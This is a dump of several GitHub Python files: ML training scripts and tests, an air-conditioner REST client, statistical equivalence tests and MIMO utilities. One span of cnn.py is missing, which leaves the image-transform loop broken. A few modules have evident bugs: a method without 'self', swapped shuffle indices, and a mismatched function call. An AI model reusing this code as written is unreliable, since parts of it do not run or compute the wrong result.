env_config = yaml.load(f.read(), Loader=yaml.SafeLoader)\n return env_config\n\n\n@pytest.fixture(scope='session')\ndef browser():\n \"\"\"加载浏览器驱动\"\"\"\n driver = Drivers(driver='Chrome', enable_maximize_window=True)\n yield driver\n driver.quit_browser()\n","repo_name":"pipipp/UI-Pytest","sub_path":"test_scripts/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20141282321","text":"# View more python tutorial on my Youtube and Youku channel!!!\n\n# Youtube video tutorial: https://www.youtube.com/channel/UCdyjiB5H8Pu7aDTNVXTTpcg\n# Youku video tutorial: http://i.youku.com/pythontutorial\n\n\"\"\"\nPlease note, this code is only for python 3+. If you are using python 2+, please modify the code accordingly.\n\"\"\"\n\nfrom __future__ import print_function\nimport math\nimport numpy as np\nimport random\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n# number 1 to 10 data\nmnist = input_data.read_data_sets('MNIST_data', one_hot=True)\nPI=3.14159\ndef radia_transform(im,m,n):\n shape = im.shape\n new_im = np.zeros(shape)\n width = shape[0]\n height = shape[1]\n lens=len(shape)\n for i in range(0,width):\n xita = 2*PI*(i)/width\n for a in range(0,height):\n x = (int)(math.floor(a * math.cos(xita)))\n y = (int)(math.floor(a * math.sin(xita)))\n new_y = (int)(m+x)\n new_x = (int)(n+y)\n if new_x>=0 and new_x=0 and new_y> [n_samples, 7*7*64]\nh_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64])\nh_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n\n## fc2 layer ##\nW_fc2 = weight_variable([1024, 10])\nb_fc2 = bias_variable([10])\nprediction = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\nprint(x_image)\nprint(h_conv1)\nprint(h_pool1)\n# the error between prediction and real data\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(ys * tf.log(prediction),\n reduction_indices=[1])) # loss\ntrain_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\nconfig = tf.ConfigProto(\n device_count={'GPU': 1}\n)\nsess = tf.Session(config=config)\n\n# important step\n# tf.initialize_all_variables() no long valid from\n# 2017-03-02 if using tensorflow >= 0.12\nif int((tf.__version__).split('.')[1]) < 12 and int((tf.__version__).split('.')[0]) < 1:\n init = tf.initialize_all_variables()\nelse:\n init = tf.global_variables_initializer()\nsess.run(init)\n\n\n\n\nbatch_xs, batch_ys = mnist.train.next_batch(100)\ncontrol=True\n#control=False\nbigg=10\n\nif control:\n batch_xs_t=[]\n for i in batch_xs:\n #print(i.shape)\n im=np.reshape(i, (28, 28))\n h = im.shape[0]\n w = im.shape[1]\n \n for j in range(bigg):\n new_im3 = radia_transform(im, (random.randint(0, 28)), (random.randint(0, 28)))\n batch_xs_t=np.append(batch_xs_t, new_im3)\n\n batch_xs=batch_xs_t\n print(batch_xs.shape)\n batch_xs=batch_xs.reshape(int(batch_xs.shape[0]/784),784)\n print(batch_xs.shape)\n \n for i in batch_ys:\n for j in range(bigg-1):\n batch_ys=np.append(batch_ys,i)\n #batch_ys=np.append(batch_ys,i)\n \n \n \n batch_ys=batch_ys.reshape(int(batch_ys.shape[0]/10),10)\n print(batch_ys.shape)\n\n\nfor i in range(50):\n #batch_xs, batch_ys = mnist.train.next_batch(100)\n sess.run(train_step, feed_dict={xs: batch_xs, ys: batch_ys, keep_prob: 0.1})\n \n print(compute_accuracy(\n mnist.test.images[:1000], mnist.test.labels[:1000]))\n","repo_name":"Lu-Yi-Hsun/home","sub_path":"docs/Machine Learning/Neural Networks/CNN/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":5425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"4129915431","text":"import numpy as np\n\nimport chainer\nimport chainer.functions as F\nimport chainer.links as L\nfrom chainer import cuda\n\n\ndef attention_loss(a, bs, len_1, len_2):\n xp = cuda.get_array_module(*a.data)\n\n I, J, sd = len_1, len_2, 15\n def f(bs, i, j):\n return 1 - np.exp(- (i - j)**2/(2 * sd**2)) + 1e-5\n\n a_soft = np.fromfunction(f, (bs, len_1, len_2), dtype=np.float32)\n a_soft = xp.asarray(a_soft)\n a_loss_tmp = F.sum(a * a_soft)/bs / len_1 /len_2\n a_loss_tmp *= 10\n return a_loss_tmp\n\nclass ConvAttention(chainer.Chain):\n def __init__(self):\n layers={}\n super(ConvAttention, self).__init__(**layers)\n\n def __call__(self, Q, KV):\n bs = KV.data.shape[0]\n vec_dim = KV.data.shape[1]\n len_KV = KV.data.shape[2] # key and value : processed surface\n len_Q = Q. data.shape[2] # query : yomi (morae)\n\n # key and value are same\n K = KV\n V = KV\n\n # forward\n KQ = F.batch_matmul(K, Q, transa=True, transb=False)\n KQ /= np.sqrt(vec_dim)\n Attention = F.softmax(KQ, axis=1)\n c = F.batch_matmul(V, Attention)\n c += Q\n\n if chainer.config.train:\n a_loss = attention_loss(Attention, KQ, bs, len_KV, len_Q) # loss\n a = cuda.to_cpu(Attention.data) # log\n else:\n a, a_loss = None, None\n\n return c, a, a_loss\n","repo_name":"PKSHATechnology-Research/tdmelodic","sub_path":"tdmelodic/nn/model/modules/cnn_attention.py","file_name":"cnn_attention.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"60"} +{"seq_id":"21715088419","text":"import torch\nfrom retry import retry\nfrom tests.utility import SignWaveDataset, train_support\n\nfrom yukarin_nsf.config import ModelConfig\nfrom yukarin_nsf.model import (\n DiscriminatorInputType,\n DiscriminatorModel,\n Model,\n Networks,\n)\nfrom yukarin_nsf.network.discriminator import Discriminator, DiscriminatorType\nfrom yukarin_nsf.network.predictor import NeuralFilterType, Predictor\n\n\ndef _create_model(\n local_size: int,\n local_scale: int,\n use_stft_weight: bool = False,\n speaker_size=0,\n discriminator_type: DiscriminatorType = None,\n):\n networks = Networks(\n predictor=Predictor(\n speaker_size=speaker_size,\n speaker_embedding_size=4,\n local_size=local_size,\n local_scale=local_scale,\n local_layer_num=1,\n condition_size=5,\n neural_filter_type=NeuralFilterType.wavenet,\n neural_filter_layer_num=10,\n neural_filter_stack_num=1,\n neural_filter_hidden_size=16,\n ),\n discriminator=Discriminator(\n input_size=1 if discriminator_type == DiscriminatorType.wavegan else 2,\n hidden_size=16,\n layer_num=10,\n )\n if discriminator_type is not None\n else None,\n )\n\n if discriminator_type is None:\n discriminator_input_type = None\n elif discriminator_type == DiscriminatorType.wavegan:\n discriminator_input_type = DiscriminatorInputType.gan\n elif discriminator_type == DiscriminatorType.cgan:\n discriminator_input_type = DiscriminatorInputType.cgan\n model_config = ModelConfig(\n eliminate_silence=True,\n use_stft_weight=use_stft_weight,\n stft_config=[\n dict(fft_size=512, hop_length=80, window_length=320,),\n dict(fft_size=128, hop_length=40, window_length=80,),\n dict(fft_size=2048, hop_length=640, window_length=1920,),\n ],\n discriminator_input_type=discriminator_input_type,\n adversarial_loss_scale=1,\n )\n model = Model(model_config=model_config, networks=networks, local_padding_length=0)\n discriminator_model = None\n if discriminator_type is not None:\n discriminator_model = DiscriminatorModel(\n model_config=model_config, networks=networks, local_padding_length=0\n )\n return model, discriminator_model\n\n\n@retry(tries=10)\ndef test_train():\n model, _ = _create_model(local_size=1, local_scale=40)\n dataset = SignWaveDataset(\n sampling_length=16000,\n sampling_rate=16000,\n local_padding_length=0,\n local_scale=40,\n )\n\n def first_hook(o):\n assert o[\"main/loss\"].data > 2\n\n def last_hook(o):\n assert o[\"main/loss\"].data < 2\n\n iteration = 500\n train_support(\n batch_size=8,\n use_gpu=True,\n model=model,\n discriminator_model=None,\n dataset=dataset,\n iteration=iteration,\n first_hook=first_hook,\n last_hook=last_hook,\n )\n\n # save model\n torch.save(\n model.predictor.state_dict(),\n (\"/tmp/\" f\"test_training\" f\"-speaker_size=0\" f\"-iteration={iteration}\" \".pth\"),\n )\n\n\n@retry(tries=10)\ndef test_train_stft_weight():\n model, _ = _create_model(local_size=1, local_scale=40, use_stft_weight=True)\n dataset = SignWaveDataset(\n sampling_length=16000,\n sampling_rate=16000,\n local_padding_length=0,\n local_scale=40,\n )\n\n def first_hook(o):\n assert o[\"main/loss\"].data > 2\n\n def last_hook(o):\n assert o[\"main/loss\"].data < 2\n\n iteration = 500\n train_support(\n batch_size=8,\n use_gpu=True,\n model=model,\n discriminator_model=None,\n dataset=dataset,\n iteration=iteration,\n first_hook=first_hook,\n last_hook=last_hook,\n )\n\n # save model\n torch.save(\n model.predictor.state_dict(),\n (\"/tmp/\" f\"test_training\" f\"-speaker_size=0\" f\"-iteration={iteration}\" \".pth\"),\n )\n\n\n@retry(tries=10)\ndef test_train_discriminator():\n model, discriminator_model = _create_model(\n local_size=1, local_scale=40, discriminator_type=DiscriminatorType.wavegan,\n )\n dataset = SignWaveDataset(\n sampling_length=16000,\n sampling_rate=16000,\n local_padding_length=0,\n local_scale=40,\n )\n\n def first_hook(o):\n assert o[\"main/loss\"].data > 3\n assert \"discriminator/loss\" in o\n\n def last_hook(o):\n assert o[\"main/loss\"].data < 3\n\n iteration = 500\n train_support(\n batch_size=8,\n use_gpu=True,\n model=model,\n discriminator_model=discriminator_model,\n dataset=dataset,\n iteration=iteration,\n first_hook=first_hook,\n last_hook=last_hook,\n )\n\n # save model\n torch.save(\n model.predictor.state_dict(),\n (\n \"/tmp/\"\n f\"test_training\"\n f\"-speaker_size=0\"\n f\"-iteration={iteration}.pth\"\n f\"-discriminator_type={DiscriminatorType.wavegan}\"\n ),\n )\n\n\n@retry(tries=10)\ndef test_train_conditional_discriminator():\n model, discriminator_model = _create_model(\n local_size=1, local_scale=40, discriminator_type=DiscriminatorType.cgan,\n )\n dataset = SignWaveDataset(\n sampling_length=16000,\n sampling_rate=16000,\n local_padding_length=0,\n local_scale=40,\n )\n\n def first_hook(o):\n assert o[\"main/loss\"].data > 3\n assert \"discriminator/loss\" in o\n\n def last_hook(o):\n assert o[\"main/loss\"].data < 3\n\n iteration = 500\n train_support(\n batch_size=8,\n use_gpu=True,\n model=model,\n discriminator_model=discriminator_model,\n dataset=dataset,\n iteration=iteration,\n first_hook=first_hook,\n last_hook=last_hook,\n )\n\n # save model\n torch.save(\n model.predictor.state_dict(),\n (\n \"/tmp/\"\n f\"test_training\"\n f\"-speaker_size=0\"\n f\"-iteration={iteration}.pth\"\n f\"-discriminator_type={DiscriminatorType.cgan}\"\n ),\n )\n","repo_name":"Hiroshiba/yukarin_nsf","sub_path":"tests/test_train.py","file_name":"test_train.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"71810584190","text":"import time\nimport requests\nimport hashlib\nimport json\nimport logging\nimport redis\nfrom flask import current_app\n\nL = logging.getLogger(__name__)\n\n\ndef _request_main_string(interface):\n time_info = str(int(time.time()))\n app_code = current_app.config['AC_APPCODE']\n app_key = current_app.config['AC_SECRET_KEY']\n\n group = [time_info, app_code, app_key]\n group.sort()\n sign = hashlib.md5(''.join(group).encode('utf-8')).hexdigest()\n\n return f'http://{current_app.config[\"AC_SERVER_IP\"]}:{current_app.config[\"AC_SERVER_PORT\"]}' \\\n f'/app/{current_app.config[\"AC_APPCODE\"]}/api/protected/{interface}' + f'?time={time_info}' + f'&sign={sign}'\n\n\ndef get_ac_data(device_codes: list,\n target=[\"FanSpeedSet\",\n \"IsOnline\",\n \"ModeCmd\",\n \"RoomTemp\",\n \"StartStopStatus\",\n \"TempSet\"]\n ):\n url = _request_main_string('getDeviceVariantData')\n data = [{\"deviceCode\": dc,\n \"variants\": target} for dc in device_codes]\n try:\n ret = requests.get(url, json=data)\n return json.loads(ret.content)\n except Exception as e:\n L.exception(e)\n return {\"errMsg\": 'failed'}\n\n\ndef set_ac_data(device_code: str, **kwargs):\n full_writable = ['FanSpeedSet', 'ModeCmd', 'StartStopStatus', 'TempSet']\n assert set(kwargs.keys()).issubset(set(full_writable))\n url = _request_main_string('writeDeviceVariantData')\n data = {\n \"deviceCode\": device_code,\n \"writeData\": kwargs\n }\n try:\n ret = requests.post(url, json=data)\n content = json.loads(ret.content)\n errMsg = content.get('errMsg')\n if errMsg != 'ok':\n errCode = content.get('errCode')\n L.error(f'Failed to set parameters. Reason: {errMsg}, Code: {errCode}')\n return {\"errMsg\": errMsg,\n \"errCode\": errCode}\n else:\n R = redis.Redis(host=current_app.config['REDIS_HOST'],\n port=current_app.config['REDIS_PORT'])\n R.set('SKIP_' + device_code, json.dumps(1), ex=45)\n return {\"errMsg\": 'ok',\n \"writeResult\": content.get('writeResult')}\n except Exception as e:\n L.exception(e)\n return {\"errMsg\": e}\n","repo_name":"ArsenePadthai/xn-backend","sub_path":"XNBackend/api_client/air_conditioner.py","file_name":"air_conditioner.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17177437793","text":"from __future__ import print_function\n\nimport numpy as np\nimport scipy.stats as sstat\n\ndef _indicator(x, y):\n return int(0.5 * (np.sign(x - y) + 1))\n\ndef _z_score(cl):\n return sstat.norm.ppf(cl)\n\ndef _t_score(cl, dof):\n return sstat.t.ppf(cl, df=dof)\n\ndef _sample_variance(X):\n return np.var(X, ddof=1)\n\ndef _welch_satterthwaite_dof(s2x, s2y, nx, ny):\n \"\"\"\n Return estimate for degrees of freedom for sample variances s2x and s2y.\n \"\"\"\n with np.errstate(divide='ignore', invalid='ignore'):\n dof = (s2x / nx + s2y / ny)**2 / ( s2x*s2x / (nx*nx*(nx-1)) +\n s2y*s2y / (ny*ny*(ny-1)) )\n if np.isnan(dof):\n # All variances must have been zero, or very close. So return something\n # maybe vaguely sensible.\n dof = (nx + ny) / 2.\n raise RuntimeWarning(\"Warning: Welch Satterthwaite DoF is Nan\")\n return dof\n\ndef _standard_error_mean_difference(X, Y, ret_var=False):\n \"\"\"\n Return standard error on the difference of the means of X and Y.\n\n If ret_var is true, the sample variances of X and Y are also returned.\n \"\"\"\n # The standard error from Welsh's t-test; we do not assume equal population\n # variances of X and Y since, in equivalence testing, our null (assumed)\n # hypothesis is that X and Y are drawn from different distributions.\n # (The alternative, when variances are equal, is the pooled variance.)\n # See also Welch-Satterthwaite equation.\n s2x = _sample_variance(X)\n s2y = _sample_variance(Y)\n se = np.sqrt(s2x / len(X) + s2y / len(Y))\n if ret_var:\n return se, s2x, s2y\n return se\n\ndef _mean_diff_confidence_interval(X, Y, cl):\n \"\"\"\n Return the confidence interval for the difference in the means of X and Y.\n\n cl is the desired confidence level of the interval.\n\n low, high are returned, where the (100*cl)% confidence interval for the\n difference is [low, high].\n \"\"\"\n mean_diff = np.mean(X) - np.mean(Y)\n SE, s2x, s2y = _standard_error_mean_difference(X, Y, ret_var=True)\n dof = _welch_satterthwaite_dof(s2x, s2y, len(X), len(Y))\n t = _t_score(cl, dof)\n # The min, max here are necessary for strict conformance to a type-I error\n # rate of 1 - cl (a type I error is a rejection of a true null hypothesis).\n # Though for symmetric alpha, as used here, the standard (100*cl)%\n # confidence interval --- which is identical to the below, but without the\n # min/max --- is fine.\n # See e.g. Berger, Roger L.; Hsu, Jason C.; \"Bioequivalence trials,\n # intersection-union tests and equivalence confidence sets.\"; Statistical\n # Science, 11(4) (1996), pp. 283--319.\n # doi:10.1214/ss/1032280304\n low = min(0, mean_diff - t * SE)\n high = max(0, mean_diff + t * SE)\n\n return low, high\n\ndef _mann_whitney(X, Y):\n \"\"\"\n Return Mann-Whitney estimator and estimated std. dev. wxy, sxy for X, Y.\n\n wxy is the MW-estimator for P[X > Y] and sxy is the square root of the\n varaince estimator of wxy.\n \"\"\"\n m = len(X)\n n = len(Y)\n\n wxy = 0\n for i in range(m):\n for j in range(n):\n wxy += _indicator(X[i], Y[j])\n wxy /= float(m * n)\n\n wxxy = 0\n for i1 in range(m):\n for i2 in range(i1 + 1, m):\n for j in range(n):\n wxxy += _indicator(min(X[i1], X[i2]), Y[j])\n wxxy *= 2. / (m * (m - 1) * n)\n\n wxyy = 0\n for i in range(m):\n for j1 in range(n):\n for j2 in range(j1 + 1, n):\n wxyy += _indicator(X[i], max(Y[j1], Y[j2]))\n wxyy *= 2. / (n * (n - 1) * m)\n\n sxy = wxy - (m + n - 1)*wxy*wxy + (m - 1)*wxxy + (n - 1)*wxyy\n sxy *= 1. / (m * n)\n sxy = np.sqrt(sxy)\n\n return wxy, sxy\n\ndef equivalence_test(X, Y, e1, e2, cl=0.95):\n \"\"\"\n Perform a TOST equivalence test for normally-distributed X, Y.\n\n Return (result, low, high) where result is True if the null hypothesis of\n different distributions is rejected, i.e. if X =~ Y, else False; low and\n high are the lower and upper (100*cl)% confidence bounds, respectively.\n\n result will be True iff low > -e1 and high < e2. Note that if low <= -e1\n and high >= e2, we fail to reject the null hypothesis, but the result is\n inconclusive (the test does not have sufficient statistical power).\n\n X and Y are the (normal) distributions to compare.\n\n e1 and e2 are the indifference intervals, defining the region of similarity,\n which must be selected appropriately for the problem at hand. Both must be\n positive. They are in the same units as the values in X and Y.\n\n cl is the confidence level of the returned interval (must be in (0, 1)).\n \"\"\"\n if e1 < 0 or e2 < 0:\n raise ValueError(\"e1 and e2 must be non-negative\")\n if cl <= 0.0 or cl >= 1.0:\n raise ValueError(\"cl must lie in the open interval (0.0, 1.0)\")\n\n low, high = _mean_diff_confidence_interval(X, Y, cl)\n reject = low > -e1 and high < e2\n\n return reject, low, high\n\ndef noninferiority_test(X, Y, e, cl=0.95, inferior='larger'):\n \"\"\"\n Perform a noninferiority test for normally distributed X and Y.\n\n Return (result, low, high) where result is True if the null hypothesis of\n a noninferior X distribution is rejected, else False; low and high are the\n lower and upper (100*cl)% confidence bounds, respectively.\n\n inferior defines the direction of inferiority: 'larger' produces a test that\n X is not significantly larger than Y; 'smaller' produces a test that X is\n not significantly smaller than Y.\n\n For the former (larger is inferior), result will be True iff\n high < e.\n For the latter (smaller is inferior), result will be True iff\n low > -e.\n\n e is the indifference range, defining the region of noninferiority, and\n must be selected appropriately for the problem at hand. It must be positive.\n It is in the same units as teh values in X and Y.\n\n cl is the confidence level of the returned result (must be in (0, 1)).\n \"\"\"\n if e < 0:\n raise ValueError(\"e must be non-negative\")\n if cl <= 0.0 or cl >= 1.0:\n raise ValueError(\"cl must lie in the open interval (0.0, 1.0)\")\n if inferior not in ['larger', 'smaller']:\n raise ValueError(\"inferior must be one of 'larger', 'smaller'\")\n\n low, high = _mean_diff_confidence_interval(X, Y, cl)\n\n if inferior == 'larger':\n reject = high < e\n else:\n reject = -e < low\n\n return reject, low, high\n\ndef nonnormal_equivalence_test(X, Y, e1=0.1, e2=0.1, cl=0.95):\n \"\"\"\n Perform a Mann-Whitney equivalence test for non-normally distributed X, Y.\n\n Return (result, wxy, sxy, test_stat, C) where result is True if the null\n hypothesis of different distributions is rejected, i.e. if X =~ Y, else\n False; wxy is the Mann-Whitney estimator for P[X > Y]; sxy is the estimator\n of the standard deviation of wxy; test_stat is the actual test statistic;\n and C is the critical value for rejection.\n\n result will be True iff test_stat < C\n\n X and Y are the distributions to compare.\n\n e1 and e2 are the indifference intervals, defining the region of similarity,\n which must be selected appropriately for the problem at hand. Both must be\n positive. Default values of e1 = e2 = 0.10 is a relatively standard, strict\n condition.\n\n cl is the confidence level of the returned result (must be in (0, 1)).\n \"\"\"\n if e1 < 0 or e2 < 0:\n raise ValueError(\"e1 and e2 must be non-negative\")\n if cl <= 0.0 or cl >= 1.0:\n raise ValueError(\"cl must lie in the open interval (0.0, 1.0)\")\n\n wxy, sxy = _mann_whitney(X, Y)\n\n rootnc = (e1 + e2) / (2. * sxy)\n nc = rootnc * rootnc\n DoF = 1\n C = np.sqrt(sstat.ncx2.ppf(1 - cl, DoF, nc))\n\n delta = 0.5 + (e2 - e1) / 2.0\n test_stat = abs(wxy - delta) / sxy\n reject = test_stat < C\n\n return reject, wxy, sxy, test_stat, C\n\ndef nonnormal_noninferiority_test(X, Y, e=0.1, cl=0.95, inferior='larger'):\n \"\"\"\n Perform a Mann-Whitney noninferiority test for non-normal X and Y.\n\n Return (result, wxy, sxy, test_stat, C) where result is True if the null\n hypothesis of different distributions is rejected, i.e. if X =~ Y, else\n False; wxy is the Mann-Whitney estimator for P[X > Y]; sxy is the estimator\n of the standard deviation of wxy; test_stat is the actual test statistic;\n and C is the critical value for rejection, here equal to the cl(th)-quantile\n of the standard normal distribution.\n\n inferior defines the direction of inferiority: 'larger' produces a test that\n X is not significantly larger than Y; 'smaller' produces a test that X is\n not significantly smaller than Y.\n\n result will be True iff\n test_stat > C;\n where for both inferior being 'larger' and 'smaller', for equal confidence\n limit cl, C is equal, and for identical X, Y and e, abs(test_stat) is\n equal.\n\n X and Y are the distributions to compare.\n\n e is the indifference range, defining the region of noninferiority, and\n must be selected appropriately for the problem at hand. It must be positive.\n A default value of e 0.10 is a relatively standard, strict condition.\n\n cl is the confidence level of the returned result (must be in (0, 1)).\n \"\"\"\n if e < 0:\n raise ValueError(\"e must be non-negative\")\n if cl <= 0.0 or cl >= 1.0:\n raise ValueError(\"cl must lie in the open interval (0.0, 1.0)\")\n if inferior not in ['larger', 'smaller']:\n raise ValueError(\"inferior must be one of 'larger', 'smaller'\")\n\n wxy, sxy = _mann_whitney(X, Y)\n C = sstat.norm.ppf(cl)\n\n if inferior == 'larger':\n test_stat = ((0.5 + e) - wxy) / sxy\n reject = test_stat > C\n else:\n test_stat = (wxy - (0.5 - e)) / sxy\n reject = test_stat > C\n\n return reject, wxy, sxy, test_stat, C\n\ndef _print_mean_std(X, Y):\n print(\"E(X): %.1f, std(X): %.1f\\nE(Y): %.1f, std(Y): %.1f\"\n % (np.mean(X), np.std(X, ddof=1), np.mean(Y), np.std(Y, ddof=1)))\n\ndef _print_conf_equiv(low, high, e1, e2, equiv):\n print(\" 95%% confidence interval: [%.2f, %.2f]\" % (low, high))\n print(\" Zone of equivalence: [%.2f, %.2f]\" % (-e1, e2))\n result = \"equivalence\" if equiv else \"fail to reject null\"\n print(\" Result: \" + result)\n\ndef _print_conf_noninf(limit, e, noninf, inferior='larger'):\n if noninf == 'larger':\n print(\" 95%% upper confidence limit: %.2f\" % (limit,))\n print(\" Zone of noninferiority: [-inf, %.2f]\" % (abs(e), ))\n result = \"noninferiority\" if noninf else \"fail to reject null\"\n else:\n print(\" 95%% lower confidence limit: %.2f\" % (limit,))\n print(\" Zone of noninferiority: [%.2f, +inf]\" % (-abs(e), ))\n result = \"noninferiority\" if noninf else \"fail to reject null\"\n print(\" Result: \" + result)\n\ndef _print_crit_equiv(test_stat, crit, equiv):\n print(\" Test statistic: %.4f\" % (test_stat, ))\n print(\" 95%% critical value: %.4f\" % (crit, ))\n result = \"equivalence\" if equiv else \"fail to reject null\"\n print(\" Result: \" + result)\n\ndef _check_close_interval(low, high, true_low, true_high, desc=None,\n **np_kwargs):\n if desc is None:\n desc = \"\"\n\n if np.isclose(low, true_low, **np_kwargs) and \\\n np.isclose(high, true_high, **np_kwargs):\n print(\"PASSED %s\" % (desc, ))\n return True\n else:\n print(\"FAILED %s:\" % (desc, ))\n print(\" Actual confidence interval: [%.2f, %.2f]\"\n % (true_low, true_high))\n return False\n\ndef _check_close_limit(limit, true_limit, desc=None, **np_kwargs):\n if desc is None:\n desc = \"\"\n\n if np.isclose(limit, true_limit, **np_kwargs):\n print(\"PASSED %s\" % (desc, ))\n return True\n else:\n print(\"FAILED %s:\" % (desc, ))\n print(\" Actual confidence limit: %.2f\" % (true_limit, ))\n return False\n\ndef _check_close_multiple(observed, actual, desc=None, val_descs=None,\n **np_kwargs):\n if len(observed) != len(actual):\n raise ValueError(\"Observed and actual value list lengths no equal\")\n if val_descs is None:\n val_descs = [None] * len(observed)\n elif len(val_descs) != len(observed):\n raise ValueError(\"Value descriptions and observed values list length not consistent\")\n\n if desc is None:\n desc = \"\"\n\n for o, a, d in zip(observed, actual, val_descs):\n if not np.isclose(o, a, **np_kwargs):\n print(\"FAILED %s:\" %(d, ))\n print(\" Actual value: %.4f\" % (a, ))\n return False\n print(\"PASSED %s\" % (desc, ))\n\nif __name__ == '__main__':\n # Test data consistent with example at:\n # https://onlinecourses.science.psu.edu/stat509/node/55\n # Accessed 2017-02-22.\n # normal, mean ~ 17.4, sample std. dev. ~ 6.5\n X = np.array([10.32288148, 18.47990715, 25.45856056, 20.23516944,\n 26.52574269, 9.74212874, 14.69967343, 9.49407793,\n 18.86892608, 5.34457132, 13.60168844, 13.52668511,\n 14.85206486, 19.6427994 , 10.36880158, 4.52797006,\n 16.08109902, 12.90180413, 25.78748175, 28.5665357 ,\n 12.6323904 , 23.09875378, 16.09770611, 23.92229129,\n 21.93078951, 26.08576392, 21.46189056, 20.0336223 ,\n 23.60204535, 14.09647028])\n # normal, mean ~ 20.6, sample std. dev. ~ 6.5\n Y = np.array([ 9.14252572, 19.38203127, 20.97039489, 20.20088713,\n 20.20803573, 7.42781738, 18.45799345, 26.3898127 ,\n 20.7269037 , 16.62582436, 26.82100568, 14.64004008,\n 12.31144577, 17.72535396, 19.2877205 , 29.75264772,\n 20.30141356, 33.97349748, 24.53414498, 30.10515467,\n 11.63447084, 23.41704018, 25.44240116, 27.76956435,\n 11.5825022 , 25.63466745, 23.26837671, 20.88892028,\n 14.00730522, 25.35244])\n e = 4\n\n equiv, low, high = equivalence_test(X, Y, e, e, 0.95)\n _print_mean_std(X, Y)\n _print_conf_equiv(low, high, e, e, equiv)\n # Confidence interval should be ~[6.0, 0.0]\n passed = _check_close_interval(low, high, -6.0, 0.0,\n desc=\"normal X, Y equivalence test\",\n rtol=1e-3, atol=1e-5)\n print()\n\n noninf, low, _ = noninferiority_test(X, Y, e, 0.95, inferior='smaller')\n _print_mean_std(X, Y)\n _print_conf_noninf(low, e, noninf, inferior='smaller')\n # Lower confidence limit should be ~6.0.\n passed = _check_close_limit(low, -6.0,\n desc=\"normal X, Y noninferiority test\",\n rtol=1e-3)\n print()\n\n\n # Test data from Table 6.3 of \"Testing Statistical Hypotheses of Equivalence\n # and Noninferiority, Second Edition by Stefan Wellek (2010), pp. 123\n # ISBN: 978-1439808184\n X = np.array([10.3, 11.3, 2.0, -6.1, 6.2, 6.8, 3.7, -3.3, -3.6, -3.5, 13.7,\n 12.6])\n Y = np.array([3.3, 17.7, 6.7, 11.1, -5.8, 6.9, 5.8, 3.0, 6.0, 3.5, 18.7,\n 9.6])\n e1 = 0.1382\n e2 = 0.2602\n\n equiv, wxy, sxy, test_stat, crit = nonnormal_equivalence_test(X, Y, e1, e2,\n 0.95)\n _print_mean_std(X, Y)\n _print_crit_equiv(test_stat, crit, equiv)\n # Actual values from above Wellek (2010), Section 6.2, pp. 128.\n passed = _check_close_multiple([wxy, sxy, test_stat, crit],\n [0.41667, 0.11133, 1.2964, 0.30078],\n desc=\"Mann-Whitney X, Y equivalence test\",\n val_descs=[\"MW stat.\", \"MW std. dev.\",\n \"MW test stat.\",\n \"MW critical value\"],\n atol=1e-6, rtol=1e-4)\n print()\n","repo_name":"spthm/grace-devel","sub_path":"tests/isotropic_ray_stats/hypothesis.py","file_name":"hypothesis.py","file_ext":"py","file_size_in_byte":15939,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"26214003127","text":"from utils import take_indexes\nimport numpy as np\nimport torch\n\n\nclass ImageRandom(torch.nn.Module):\n def __init__(self, ratio) -> None:\n super().__init__()\n self.ratio = ratio\n\n def __random_indexes(size : int):\n new_idx = np.arange(size)\n np.random.shuffle(new_idx)\n return new_idx, np.argsort(new_idx)\n\n\n def forward(self, pths):\n indexes = []\n for _ in range(pths.shape[1]):\n indexes.append(self.__random_indexes(pths.shape[0]))\n \n f_idx = []\n b_idx = []\n for i in indexes:\n f_idx.append(i[0])\n \n for i in indexes:\n b_idx.append(i[0])\n\n f_idx = torch.as_tensor(np.stack(f_idx, axis=-1), dtype=torch.long)\n b_idx = torch.as_tensor(np.stack(b_idx, axis=-1), dtype=torch.long)\n\n f_idx = f_idx.to(pths.device)\n b_idx = b_idx.to(pths.device)\n\n pths = take_indexes(pths, f_idx)\n pths = pths[:int(pths.shape[0] * (1 - self.ratio))]\n\n return pths, f_idx, b_idx\n","repo_name":"JiamingHuangHJM/Mae-project","sub_path":"image_random.py","file_name":"image_random.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"680759774","text":"import itertools\nimport multiprocessing\nimport os\nimport pathlib\n\nimport numpy as np\n\nfrom global_settings import *\n\nQPSK_CANDIDATE_SIZE = 2 ** (2 * NUM_ANT)\nQPSK_CANDIDATES = np.array([x for x in itertools.product([1, -1], repeat=2 * NUM_ANT)]).T / np.sqrt(2)\n\n\ndef get_bits(s):\n return np.where(s < 0, 0, 1)\n\n\ndef mkdir(file_path):\n folder = os.path.dirname(file_path)\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n\ndef mkfile(file_path):\n mkdir(file_path)\n filename = pathlib.Path(file_path)\n filename.touch(exist_ok=True)\n\n\ndef concatenate(total, part):\n return part if total is None else np.concatenate((total, part))\n\n\ndef random_h_batch():\n h_batch = None\n for _ in range(PACKETS_PER_BATCH):\n real = np.random.randn(NUM_ANT, NUM_ANT)\n imag = np.random.randn(NUM_ANT, NUM_ANT)\n h = np.row_stack(\n (\n np.column_stack((real, -imag)),\n np.column_stack((imag, real)),\n )\n )\n h = h.reshape([1, 2 * 